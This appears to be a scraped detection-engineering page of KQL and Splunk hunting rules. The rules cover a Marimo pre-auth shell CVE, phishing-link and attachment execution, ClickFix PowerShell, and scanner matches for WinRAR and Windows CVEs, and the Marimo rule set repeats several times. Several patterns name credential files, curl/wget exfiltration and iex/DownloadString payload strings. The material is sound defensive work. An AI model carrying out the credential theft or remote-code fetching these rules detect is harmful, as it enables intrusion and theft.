where Vulnerabilities.signature IN ("CVE-2025-58360")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-101 use case2 techniques2 kill-chain phases detected
Interpreting the vast cybersecurity vendor landscape through the lens of industry analysts and testing authorities can immensely enhance your cyber-resilience.
ATT&CKT1021.002T1195.002
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2025-12-094 use cases0 techniques3 kill-chain phases detected
RARLAB WinRAR contains a path traversal vulnerability allowing an attacker to execute code in the context of the current user. Vendor: RARLAB, Product: WinRAR. Federal patch due: 2025-12-30.
CVEsCVE-2025-6218
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-6218")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-6218")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-094 use cases0 techniques3 kill-chain phases detected
Microsoft Windows Cloud Files Mini Filter Driver contains a use after free vulnerability that can allow an authorized attacker to elevate privileges locally. Vendor: Microsoft, Product: Windows. Federal patch due: 2025-12-30.
CVEsCVE-2025-62221
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-62221")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-62221")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
